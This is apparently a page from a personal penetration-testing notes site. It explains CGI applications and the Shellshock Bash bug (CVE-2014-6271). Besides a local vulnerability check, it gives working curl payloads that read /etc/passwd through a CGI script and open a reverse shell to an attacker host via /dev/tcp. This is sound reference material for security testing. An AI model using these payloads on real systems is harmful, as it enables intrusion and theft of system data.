πŸ““
Sfoffo - Pentesting Notes
View on GitHub
  • 🏠/home/sfoffo/.pt-notes
  • 🏳️Contributions
    • 2024 Contributions
      • CVE-2024-42845
      • CVE-2024-41819
      • CVE-2024-41943
      • CVE-2024-50344
  • πŸ€Support this Project
  • πŸ“‚Active Directory
    • Initial Access
    • Internal Enumeration & Lateral Movement
    • Privilege Escalation to Domain Admin using Known Exploits
    • Domain Trusts
  • 🐧Linux Privilege Escalation
    • Enumerating Attack Vectors
    • Privileged Groups
    • Environment Variables Abuse
    • Capabilities Abuse
    • Programs, Jobs and Services
    • Miscellaneous Techniques
    • Recent CVEs
  • πŸͺŸWindows Privilege Escalation
    • Enumerating Attack Vectors
    • Excessive User Rights Abuse
    • Built-in Groups Abuse
    • File System ACLs
    • Services Hijacking
    • User Account Control (UAC) Bypass
    • Living off the Land
  • πŸ›Bug Bounty Hunting
    • Bug Bounty Tools
  • πŸ•ΈοΈWeb Applications
    • Web Attacks
      • Cross Site Scripting (XSS)
      • SQL Injection (SQLi)
      • File Upload Vulnerabilities
      • Insecure Direct Object References (IDOR)
      • OS Command Injection
      • Local File Inclusion (LFI)
      • Remote File Inclusion (RFI)
      • XML External Entities (XXE)
      • HTTP Verb Tampering
    • Web Technologies
      • Tomcat
      • CGI Applications
      • WordPress
      • WebDav
      • Microsoft IIS
      • SAP Netweaver
      • Joomla
      • Drupal
      • Gitlab
      • Jenkins
      • osTicket
      • PRTG Network Monitor
      • Splunk
    • Fuzzing
  • πŸ”Information Gathering
  • πŸ“œProtocols and Services
    • DNS
    • FTP
    • IMAP
    • IPMI
    • MSSQL
    • MySQL
    • NFS
    • Oracle TNS
    • POP3
    • RDP
    • SMB
    • SMTP
    • SNMP
  • πŸ‘ΎUtilities, Scripts and Payloads
    • Shells and Payloads
    • Metasploit Framework
    • File Transfers
    • Pivoting, Tunneling, Port Forwarding
    • Password Attacks
Powered by GitBook
On this page
  • Introduction
  • CGI Applications - Shellshock [CVE-2014-6271]

Was this helpful?

Edit on GitHub
  1. Web Applications
  2. Web Technologies

CGI Applications

Introduction

  • A Common Gateway Interface (CGI) is used to help a web server render dynamic pages and create a customized response for the user making a request via a web application.

  • CGI applications are primarily used to access other applications running on a web server.

  • CGI is essentially middleware between web servers, external databases, and information sources.

  • CGI scripts and programs are kept in the /CGI-bin directory on a web server

  • Typically written in C, C++, Java, PERL, etc

  • CGI scripts run in the security context of the web server


CGI Applications - Shellshock [CVE-2014-6271]

  • The most well-known CGI attack is exploiting the Shellshock (aka, "Bash bug") vulnerability via CGI.

  • Resource: https://nvd.nist.gov/vuln/detail/CVE-2014-6271

  • Affected Versions: GNU Bash up until version 4.3

  • Description: Shellshock is a security flaw in the Bash shell that allows an attacker to execute operating system commands that are included after a function stored inside an environment variable.

  • PoC Example: env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"

    • Nothing will happen when the environment variable is assigned a value

    • If the target is vulnerable, whenever the environment variable is imported, the command echo vulnerable-shellshock will be executed

    • If the target is NOT vulnerable, then the command echo not vulnerable will be executed

Shellshock PoC to read any file: curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://target.com/cgi-bin/access.cgi

Shellshock PoC to gain a Reverse Shell: curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/your-ip/your-nc-port 0>&1' http://target.com/cgi-bin/access.cgi

Last updated 1 year ago

Was this helpful?

πŸ•ΈοΈ